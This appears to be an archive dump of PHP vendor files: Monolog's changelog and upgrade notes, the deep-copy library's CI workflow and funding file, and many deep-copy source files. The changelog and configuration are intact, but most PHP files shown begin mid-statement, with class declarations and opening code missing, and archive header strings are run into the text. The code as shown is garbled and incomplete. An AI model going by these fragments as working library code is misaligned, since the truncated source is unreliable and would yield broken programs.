[Telegram](https://core.telegram.org/bots/api) bot account * Added support for JsonSerializable when normalizing exceptions * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Added SoapFault details to formatted exceptions * Fixed DeduplicationHandler silently failing to start when file could not be opened * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed GelfFormatter losing some data when one attachment was too long * Fixed issue in SignalHandler restarting syscalls functionality * Improved performance of LogglyHandler when sending multiple logs in a single request ### 2.0.0-beta1 (2018-12-08) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.1 is now the minimum required PHP version. * BC Break: Quite a few interface changes, only relevant if you implemented your own handlers/processors/formatters * BC Break: Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn` * BC Break: The record timezone is now set per Logger instance and not statically anymore * BC Break: There is no more default handler configured on empty Logger instances * BC Break: ElasticSearchHandler renamed to ElasticaHandler * BC Break: Various handler-specific breaks, see [UPGRADE.md](UPGRADE.md) for details * Added scalar type hints and return hints in all the places it was possible. Switched strict_types on for more reliability. * Added DateTimeImmutable support, all record datetime are now immutable, and will toString/json serialize with the correct date format, including microseconds (unless disabled) * Added timezone and microseconds to the default date format * Added SendGridHandler to use the SendGrid API to send emails * Added LogmaticHandler to use the Logmatic.io API to store log records * Added SqsHandler to send log records to an AWS SQS queue * Added ElasticsearchHandler to send records via the official ES library. Elastica users should now use ElasticaHandler instead of ElasticSearchHandler * Added NoopHandler which is similar to the NullHandle but does not prevent the bubbling of log records to handlers further down the configuration, useful for temporarily disabling a handler in configuration files * Added ProcessHandler to write log output to the STDIN of a given process * Added HostnameProcessor that adds the machine's hostname to log records * Added a `$dateFormat` option to the PsrLogMessageProcessor which lets you format DateTime instances nicely * Added support for the PHP 7.x `mongodb` extension in the MongoDBHandler * Fixed many minor issues in various handlers, and probably added a few regressions too ### 1.26.1 (2021-05-28) * Fixed PHP 8.1 deprecation warning ### 1.26.0 (2020-12-14) * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) ### 1.25.5 (2020-07-23) * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 1.25.4 (2020-05-22) * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 1.25.3 (2019-12-20) * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 1.25.2 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding ### 1.25.1 (2019-09-06) * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. ### 1.25.0 (2019-09-06) * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed issue in SignalHandler restarting syscalls functionality * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed ZendMonitorHandler to work with the latest Zend Server versions * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). ### 1.24.0 (2018-11-05) * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) * Added a way to log signals being received using Monolog\SignalHandler * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler * Added InsightOpsHandler to migrate users of the LogEntriesHandler * Added protection to NormalizerFormatter against circular and very deep structures, it now stops normalizing at a depth of 9 * Added capture of stack traces to ErrorHandler when logging PHP errors * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts * Added forwarding of context info to FluentdFormatter * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example * Added ability to extend/override BrowserConsoleHandler * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility * Dropped official support for HHVM in test builds * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases * Fixed HipChatHandler bug where slack dropped messages randomly * Fixed normalization of objects in Slack handlers * Fixed support for PHP7's Throwable in NewRelicHandler * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory * Fixed table row styling issues in HtmlFormatter * Fixed RavenHandler dropping the message when logging exception * Fixed WhatFailureGroupHandler skipping processors when using handleBatch and implement it where possible * Fixed display of anonymous class names ### 1.23.0 (2017-06-19) * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument * Fixed GelfHandler truncation to be per field and not per message * Fixed compatibility issue with PHP <5.3.6 * Fixed support for headless Chrome in ChromePHPHandler * Fixed support for latest Aws SDK in DynamoDbHandler * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler ### 1.22.1 (2017-03-13) * Fixed lots of minor issues in the new Slack integrations * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces ### 1.22.0 (2016-11-26) * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily * Added MercurialProcessor to add mercurial revision and branch names to log records * Added support for AWS SDK v3 in DynamoDbHandler * Fixed fatal errors occurring when normalizing generators that have been fully consumed * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore * Fixed SyslogUdpHandler to avoid sending empty frames * Fixed a few PHP 7.0 and 7.1 compatibility issues ### 1.21.0 (2016-07-29) * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order * Added ability to format the main line of text the SlackHandler sends by explicitly setting a formatter on the handler * Added information about SoapFault instances in NormalizerFormatter * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level ### 1.20.0 (2016-07-02) * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy * Added StreamHandler::getUrl to retrieve the stream's URL * Added ability to override addRow/addTitle in HtmlFormatter * Added the $context to context information when the ErrorHandler handles a regular php error * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d * Fixed WhatFailureGroupHandler to work with PHP7 throwables * Fixed a few minor bugs ### 1.19.0 (2016-04-12) * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler * Fixed HipChatHandler handling of long messages ### 1.18.2 (2016-04-02) * Fixed ElasticaFormatter to use more precise dates * Fixed GelfMessageFormatter sending too long messages ### 1.18.1 (2016-03-13) * Fixed SlackHandler bug where slack dropped messages randomly * Fixed RedisHandler issue when using with the PHPRedis extension * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension * Fixed BrowserConsoleHandler regression ### 1.18.0 (2016-03-01) * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name * Added FluentdFormatter for the Fluentd unix socket protocol * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed * Added support for replacing context sub-keys using `%context.*%` in LineFormatter * Added support for `payload` context value in RollbarHandler * Added setRelease to RavenHandler to describe the application version, sent with every log * Added support for `fingerprint` context value in RavenHandler * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places ### 1.17.2 (2015-10-14) * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers * Fixed SlackHandler handling to use slack functionalities better * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id * Fixed 5.3 compatibility regression ### 1.17.1 (2015-08-31) * Fixed RollbarHandler triggering PHP notices ### 1.17.0 (2015-08-30) * Added support for `checksum` and `release` context/extra values in RavenHandler * Added better support for exceptions in RollbarHandler * Added UidProcessor::getUid * Added support for showing the resource type in NormalizedFormatter * Fixed IntrospectionProcessor triggering PHP notices ### 1.16.0 (2015-08-09) * Added IFTTTHandler to notify ifttt.com triggers * Added Logger::setHandlers() to allow setting/replacing all handlers * Added $capSize in RedisHandler to cap the log size * Fixed StreamHandler creation of directory to only trigger when the first log write happens * Fixed bug in the handling of curl failures * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler * Fixed missing fatal errors records with handlers that need to be closed to flush log records * Fixed TagProcessor::addTags support for associative arrays ### 1.15.0 (2015-07-12) * Added addTags and setTags methods to change a TagProcessor * Added automatic creation of directories if they are missing for a StreamHandler to open a log file * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used * Fixed HTML/JS escaping in BrowserConsoleHandler * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) ### 1.14.0 (2015-06-19) * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library * Added support for objects implementing __toString in the NormalizerFormatter * Added support for HipChat's v2 API in HipChatHandler * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) * Fixed curl errors being silently suppressed ### 1.13.1 (2015-03-09) * Fixed regression in HipChat requiring a new token to be created ### 1.13.0 (2015-03-05) * Added Registry::hasLogger to check for the presence of a logger instance * Added context.user support to RavenHandler * Added HipChat API v2 support in the HipChatHandler * Added NativeMailerHandler::addParameter to pass params to the mail() process * Added context data to SlackHandler when $includeContextAndExtra is true * Added ability to customize the Swift_Message per-email in SwiftMailerHandler * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided * Fixed serialization of INF and NaN values in Normalizer and LineFormatter ### 1.12.0 (2014-12-29) * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. * Added PsrHandler to forward records to another PSR-3 logger * Added SamplingHandler to wrap around a handler and include only every Nth record * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) * Added exception codes in the output of most formatters * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data * Added $host to HipChatHandler for users of private instances * Added $transactionName to NewRelicHandler and support for a transaction_name context value * Fixed MandrillHandler to avoid outputting API call responses * Fixed some non-standard behaviors in SyslogUdpHandler ### 1.11.0 (2014-09-30) * Break: The NewRelicHandler extra and context data are now prefixed with extra_ and context_ to avoid clashes. Watch out if you have scripts reading those from the API and rely on names * Added WhatFailureGroupHandler to suppress any exception coming from the wrapped handlers and avoid chain failures if a logging service fails * Added MandrillHandler to send emails via the Mandrillapp.com API * Added SlackHandler to log records to a Slack.com account * Added FleepHookHandler to log records to a Fleep.io account * Added LogglyHandler::addTag to allow adding tags to an existing handler * Added $ignoreEmptyContextAndExtra to LineFormatter to avoid empty [] at the end * Added $useLocking to StreamHandler and RotatingFileHandler to enable flock() while writing * Added support for PhpAmqpLib in the AmqpHandler * Added FingersCrossedHandler::clear and BufferHandler::clear to reset them between batches in long running jobs * Added support for adding extra fields from $_SERVER in the WebProcessor * Fixed support for non-string values in PrsLogMessageProcessor * Fixed SwiftMailer messages being sent with the wrong date in long running scripts * Fixed minor PHP 5.6 compatibility issues * Fixed BufferHandler::close being called twice ### 1.10.0 (2014-06-04) * Added Logger::getHandlers() and Logger::getProcessors() methods * Added $passthruLevel argument to FingersCrossedHandler to let it always pass some records through even if the trigger level is not reached * Added support for extra data in NewRelicHandler * Added $expandNewlines flag to the ErrorLogHandler to create multiple log entries when a message has multiple lines ### 1.9.1 (2014-04-24) * Fixed regression in RotatingFileHandler file permissions * Fixed initialization of the BufferHandler to make sure it gets flushed after receiving records * Fixed ChromePHPHandler and FirePHPHandler's activation strategies to be more conservative ### 1.9.0 (2014-04-20) * Added LogEntriesHandler to send logs to a LogEntries account * Added $filePermissions to tweak file mode on StreamHandler and RotatingFileHandler * Added $useFormatting flag to MemoryProcessor to make it send raw data in bytes * Added support for table formatting in FirePHPHandler via the table context key * Added a TagProcessor to add tags to records, and support for tags in RavenHandler * Added $appendNewline flag to the JsonFormatter to enable using it when logging to files * Added sound support to the PushoverHandler * Fixed multi-threading support in StreamHandler * Fixed empty headers issue when ChromePHPHandler received no records * Fixed default format of the ErrorLogHandler ### 1.8.0 (2014-03-23) * Break: the LineFormatter now strips newlines by default because this was a bug, set $allowInlineLineBreaks to true if you need them * Added BrowserConsoleHandler to send logs to any browser's console via console.log() injection in the output * Added FilterHandler to filter records and only allow those of a given list of levels through to the wrapped handler * Added FlowdockHandler to send logs to a Flowdock account * Added RollbarHandler to send logs to a Rollbar account * Added HtmlFormatter to send prettier log emails with colors for each log level * Added GitProcessor to add the current branch/commit to extra record data * Added a Monolog\Registry class to allow easier global access to pre-configured loggers * Added support for the new official graylog2/gelf-php lib for GelfHandler, upgrade if you can by replacing the mlehner/gelf-php requirement * Added support for HHVM * Added support for Loggly batch uploads * Added support for tweaking the content type and encoding in NativeMailerHandler * Added $skipClassesPartials to tweak the ignored classes in the IntrospectionProcessor * Fixed batch request support in GelfHandler ### 1.7.0 (2013-11-14) * Added ElasticSearchHandler to send logs to an Elastic Search server * Added DynamoDbHandler and ScalarFormatter to send logs to Amazon's Dynamo DB * Added SyslogUdpHandler to send logs to a remote syslogd server * Added LogglyHandler to send logs to a Loggly account * Added $level to IntrospectionProcessor so it only adds backtraces when needed * Added $version to LogstashFormatter to allow using the new v1 Logstash format * Added $appName to NewRelicHandler * Added configuration of Pushover notification retries/expiry * Added $maxColumnWidth to NativeMailerHandler to change the 70 chars default * Added chainability to most setters for all handlers * Fixed RavenHandler batch processing so it takes the message from the record with highest priority * Fixed HipChatHandler batch processing so it sends all messages at once * Fixed issues with eAccelerator * Fixed and improved many small things ### 1.6.0 (2013-07-29) * Added HipChatHandler to send logs to a HipChat chat room * Added ErrorLogHandler to send logs to PHP's error_log function * Added NewRelicHandler to send logs to NewRelic's service * Added Monolog\ErrorHandler helper class to register a Logger as exception/error/fatal handler * Added ChannelLevelActivationStrategy for the FingersCrossedHandler to customize levels by channel * Added stack traces output when normalizing exceptions (json output & co) * Added Monolog\Logger::API constant (currently 1) * Added support for ChromePHP's v4.0 extension * Added support for message priorities in PushoverHandler, see $highPriorityLevel and $emergencyLevel * Added support for sending messages to multiple users at once with the PushoverHandler * Fixed RavenHandler's support for batch sending of messages (when behind a Buffer or FingersCrossedHandler) * Fixed normalization of Traversables with very large data sets, only the first 1000 items are shown now * Fixed issue in RotatingFileHandler when an open_basedir restriction is active * Fixed minor issues in RavenHandler and bumped the API to Raven 0.5.0 * Fixed SyslogHandler issue when many were used concurrently with different facilities ### 1.5.0 (2013-04-23) * Added ProcessIdProcessor to inject the PID in log records * Added UidProcessor to inject a unique identifier to all log records of one request/run * Added support for previous exceptions in the LineFormatter exception serialization * Added Monolog\Logger::getLevels() to get all available levels * Fixed ChromePHPHandler so it avoids sending headers larger than Chrome can handle ### 1.4.1 (2013-04-01) * Fixed exception formatting in the LineFormatter to be more minimalistic * Fixed RavenHandler's handling of context/extra data, requires Raven client >0.1.0 * Fixed log rotation in RotatingFileHandler to work with long running scripts spanning multiple days * Fixed WebProcessor array access so it checks for data presence * Fixed Buffer, Group and FingersCrossed handlers to make use of their processors ### 1.4.0 (2013-02-13) * Added RedisHandler to log to Redis via the Predis library or the phpredis extension * Added ZendMonitorHandler to log to the Zend Server monitor * Added the possibility to pass arrays of handlers and processors directly in the Logger constructor * Added `$useSSL` option to the PushoverHandler which is enabled by default * Fixed ChromePHPHandler and FirePHPHandler issue when multiple instances are used simultaneously * Fixed header injection capability in the NativeMailHandler ### 1.3.1 (2013-01-11) * Fixed LogstashFormatter to be usable with stream handlers * Fixed GelfMessageFormatter levels on Windows ### 1.3.0 (2013-01-08) * Added PSR-3 compliance, the `Monolog\Logger` class is now an instance of `Psr\Log\LoggerInterface` * Added PsrLogMessageProcessor that you can selectively enable for full PSR-3 compliance * Added LogstashFormatter (combine with SocketHandler or StreamHandler to send logs to Logstash) * Added PushoverHandler to send mobile notifications * Added CouchDBHandler and DoctrineCouchDBHandler * Added RavenHandler to send data to Sentry servers * Added support for the new MongoClient class in MongoDBHandler * Added microsecond precision to log records' timestamps * Added `$flushOnOverflow` param to BufferHandler to flush by batches instead of losing the oldest entries * Fixed normalization of objects with cyclic references ### 1.2.1 (2012-08-29) * Added new $logopts arg to SyslogHandler to provide custom openlog options * Fixed fatal error in SyslogHandler ### 1.2.0 (2012-08-18) * Added AmqpHandler (for use with AMQP servers) * Added CubeHandler * Added NativeMailerHandler::addHeader() to send custom headers in mails * Added the possibility to specify more than one recipient in NativeMailerHandler * Added the possibility to specify float timeouts in SocketHandler * Added NOTICE and EMERGENCY levels to conform with RFC 5424 * Fixed the log records to use the php default timezone instead of UTC * Fixed BufferHandler not being flushed properly on PHP fatal errors * Fixed normalization of exotic resource types * Fixed the default format of the SyslogHandler to avoid duplicating datetimes in syslog ### 1.1.0 (2012-04-23) * Added Monolog\Logger::isHandling() to check if a handler will handle the given log level * Added ChromePHPHandler * Added MongoDBHandler * Added GelfHandler (for use with Graylog2 servers) * Added SocketHandler (for use with syslog-ng for example) * Added NormalizerFormatter * Added the possibility to change the activation strategy of the FingersCrossedHandler * Added possibility to show microseconds in logs * Added `server` and `referer` to WebProcessor output ### 1.0.2 (2011-10-24) * Fixed bug in IE with large response headers and FirePHPHandler ### 1.0.1 (2011-08-25) * Added MemoryPeakUsageProcessor and MemoryUsageProcessor * Added Monolog\Logger::getName() to get a logger's channel name ### 1.0.0 (2011-07-06) * Added IntrospectionProcessor to get info from where the logger was called * Fixed WebProcessor in CLI ### 1.0.0-RC1 (2011-07-01) * Initial release res/readability/vendor/monolog/monolog/UPGRADE.md000064400000005537147577714370015720 0ustar00### 2.0.0 - `Monolog\Logger::API` can be used to distinguish between a Monolog `1` and `2` install of Monolog when writing integration code. - Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn`. - DateTime are now formatted with a timezone and microseconds (unless disabled). Various formatters and log output might be affected, which may mess with log parsing in some cases. - The `datetime` in every record array is now a DateTimeImmutable, not that you should have been modifying these anyway. - The timezone is now set per Logger instance and not statically, either via ->setTimezone or passed in the constructor. Calls to Logger::setTimezone should be converted. - `HandlerInterface` has been split off and two new interfaces now exist for more granular controls: `ProcessableHandlerInterface` and `FormattableHandlerInterface`. Handlers not extending `AbstractHandler` should make sure to implement the relevant interfaces. - `HandlerInterface` now requires the `close` method to be implemented. This only impacts you if you implement the interface yourself, but you can extend the new `Monolog\Handler\Handler` base class too. - There is no more default handler configured on empty Logger instances, if you were relying on that you will not get any output anymore, make sure to configure the handler you need. #### LogglyFormatter - The records' `datetime` is not sent anymore. Only `timestamp` is sent to Loggly. #### AmqpHandler - Log levels are not shortened to 4 characters anymore. e.g. a warning record will be sent using the `warning.channel` routing key instead of `warn.channel` as in 1.x. - The exchange name does not default to 'log' anymore, and it is completely ignored now for the AMQP extension users. Only PHPAmqpLib uses it if provided. #### RotatingFileHandler - The file name format must now contain `{date}` and the date format must be set to one of the predefined FILE_PER_* constants to avoid issues with file rotation. See `setFilenameFormat`. #### LogstashFormatter - Removed Logstash V0 support - Context/extra prefix has been removed in favor of letting users configure the exact key being sent - Context/extra data are now sent as an object instead of single keys #### HipChatHandler - Removed deprecated HipChat handler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead #### SlackbotHandler - Removed deprecated SlackbotHandler handler, use SlackWebhookHandler or SlackHandler instead #### RavenHandler - Removed deprecated RavenHandler handler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead #### ElasticSearchHandler - As support for the official Elasticsearch library was added, the former ElasticSearchHandler has been renamed to ElasticaHandler and the new one added as ElasticsearchHandler. res/readability/vendor/myclabs/deep-copy/.github/workflows/ci.yaml000064400000005365147577714370021355 0ustar00name: "Continuous Integration" on: - pull_request - push env: COMPOSER_ROOT_VERSION: 1.99 jobs: composer-json-lint: name: "Lint composer.json" runs-on: "ubuntu-latest" strategy: matrix: php-version: - "8.1" steps: - name: "Checkout" uses: "actions/checkout@v2" - name: "Install PHP" uses: "shivammathur/setup-php@v2" with: coverage: "none" php-version: "${{ matrix.php-version }}" tools: composer-normalize - name: "Get composer cache directory" id: composercache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: "Cache dependencies" uses: actions/cache@v2 with: path: ${{ steps.composercache.outputs.dir }} key: ${{ runner.os }}-php-${{ matrix.php-version }}-${{ matrix.dependencies }}-composer-${{ hashFiles('**/composer.json') }} restore-keys: ${{ runner.os }}-php-${{ matrix.php-version }}-${{ matrix.dependencies }}-composer- - name: "Install dependencies" run: "composer update --no-interaction --no-progress" - name: "Validate composer.json" run: "composer validate --strict" - name: "Normalize composer.json" run: "composer-normalize --dry-run" tests: name: "Tests" runs-on: "ubuntu-latest" strategy: matrix: php-version: - "7.1" - "7.2" - "7.3" - "7.4" - "8.0" - "8.1" dependencies: - "lowest" - "highest" steps: - name: "Checkout" uses: "actions/checkout@v2" - name: "Install PHP" uses: "shivammathur/setup-php@v2" with: php-version: "${{ matrix.php-version }}" ini-values: zend.assertions=1 - name: "Get composer cache directory" id: composercache run: echo "::set-output name=dir::$(composer config cache-files-dir)" - name: "Cache dependencies" uses: actions/cache@v2 with: path: ${{ steps.composercache.outputs.dir }} key: ${{ runner.os }}-php-${{ matrix.php-version }}-${{ matrix.dependencies }}-composer-${{ hashFiles('**/composer.json') }} restore-keys: ${{ runner.os }}-php-${{ matrix.php-version }}-${{ matrix.dependencies }}-composer- - name: "Install lowest dependencies" if: ${{ matrix.dependencies == 'lowest' }} run: "composer update --no-interaction --no-progress --prefer-lowest" - name: "Install highest dependencies" if: ${{ matrix.dependencies == 'highest' }} run: "composer update --no-interaction --no-progress" - name: "Run tests" timeout-minutes: 3 run: "vendor/bin/phpunit" res/readability/vendor/myclabs/deep-copy/.github/FUNDING.yml000064400000001231147577714370017642 0ustar00# These are supported funding model platforms github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: "packagist/myclabs/deep-copy" community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Exception/PropertyException.php000064400000000170147577714370025137 0ustar00setAccessible(true); $reflectionProperty->setValue($object, new ArrayCollection()); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php000064400000001424147577714370027426 0ustar00setAccessible(true); $oldCollection = $reflectionProperty->getValue($object); $newCollection = $oldCollection->map( function ($item) use ($objectCopier) { return $objectCopier($item); } ); $reflectionProperty->setValue($object, $newCollection); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php000064400000000623147577714370026454 0ustar00__load(); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Filter/ReplaceFilter.php000064400000001620147577714370023445 0ustar00callback = $callable; } /** * Replaces the object property by the result of the callback called with the object property. * * {@inheritdoc} */ public function apply($object, $property, $objectCopier) { $reflectionProperty = ReflectionHelper::getProperty($object, $property); $reflectionProperty->setAccessible(true); $value = call_user_func($this->callback, $reflectionProperty->getValue($object)); $reflectionProperty->setValue($object, $value); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php000064400000000534147577714370022154 0ustar00setAccessible(true); $reflectionProperty->setValue($object, null); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php000064400000000550147577714370026747 0ustar00propertyType = $propertyType; } /** * {@inheritdoc} */ public function matches($object, $property) { try { $reflectionProperty = ReflectionHelper::getProperty($object, $property); } catch (ReflectionException $exception) { return false; } $reflectionProperty->setAccessible(true); // Uninitialized properties (for PHP >7.4) if (method_exists($reflectionProperty, 'isInitialized') && !$reflectionProperty->isInitialized($object)) { // null instanceof $this->propertyType return false; } return $reflectionProperty->getValue($object) instanceof $this->propertyType; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php000064400000000770147577714370025020 0ustar00property = $property; } /** * Matches a property by its name. * * {@inheritdoc} */ public function matches($object, $property) { return $property == $this->property; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyMatcher.php000064400000001263147577714370024215 0ustar00class = $class; $this->property = $property; } /** * Matches a specific property of a specific class. * * {@inheritdoc} */ public function matches($object, $property) { return ($object instanceof $this->class) && $property == $this->property; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Matcher.php000064400000000325147577714370022446 0ustar00getProperties() does not return private properties from ancestor classes. * * @author muratyaman@gmail.com * @see http://php.net/manual/en/reflectionclass.getproperties.php * * @param ReflectionClass $ref * * @return ReflectionProperty[] */ public static function getProperties(ReflectionClass $ref) { $props = $ref->getProperties(); $propsArr = array(); foreach ($props as $prop) { $propertyName = $prop->getName(); $propsArr[$propertyName] = $prop; } if ($parentClass = $ref->getParentClass()) { $parentPropsArr = self::getProperties($parentClass); foreach ($propsArr as $key => $property) { $parentPropsArr[$key] = $property; } return $parentPropsArr; } return $propsArr; } /** * Retrieves property by name from object and all its ancestors. * * @param object|string $object * @param string $name * * @throws PropertyException * @throws ReflectionException * * @return ReflectionProperty */ public static function getProperty($object, $name) { $reflection = is_object($object) ? new ReflectionObject($object) : new ReflectionClass($object); if ($reflection->hasProperty($name)) { return $reflection->getProperty($name); } if ($parentClass = $reflection->getParentClass()) { return self::getProperty($parentClass->getName(), $name); } throw new PropertyException( sprintf( 'The class "%s" doesn\'t have a property with the given name: "%s".', is_object($object) ? get_class($object) : $object, $name ) ); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php000064400000001177147577714370026202 0ustar00 $propertyValue) { $copy->{$propertyName} = $propertyValue; } return $copy; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedListFilter.php000064400000002020147577714370027365 0ustar00copier = $copier; } /** * {@inheritdoc} */ public function apply($element) { $newElement = clone $element; $copy = $this->createCopyClosure(); return $copy($newElement); } private function createCopyClosure() { $copier = $this->copier; $copy = function (SplDoublyLinkedList $list) use ($copier) { // Replace each element in the list with a deep copy of itself for ($i = 1; $i <= $list->count(); $i++) { $copy = $copier->recursiveCopy($list->shift()); $list->push($copy); } return $list; }; return Closure::bind($copy, null, DeepCopy::class); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/ArrayObjectFilter.php000064400000001320147577714370025674 0ustar00copier = $copier; } /** * {@inheritdoc} */ public function apply($arrayObject) { $clone = clone $arrayObject; foreach ($arrayObject->getArrayCopy() as $k => $v) { $clone->offsetSet($k, $this->copier->copy($v)); } return $clone; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php000064400000000260147577714370026223 0ustar00callback = $callable; } /** * {@inheritdoc} */ public function apply($element) { return call_user_func($this->callback, $element); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php000064400000000337147577714370025204 0ustar00type = $type; } /** * @param mixed $element * * @return boolean */ public function matches($element) { return is_object($element) ? is_a($element, $this->type) : gettype($element) === $this->type; } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php000064400000000614147577714370021450 0ustar00copy($value); } } res/readability/vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php000064400000017532147577714370021220 0ustar00 Filter, 'matcher' => 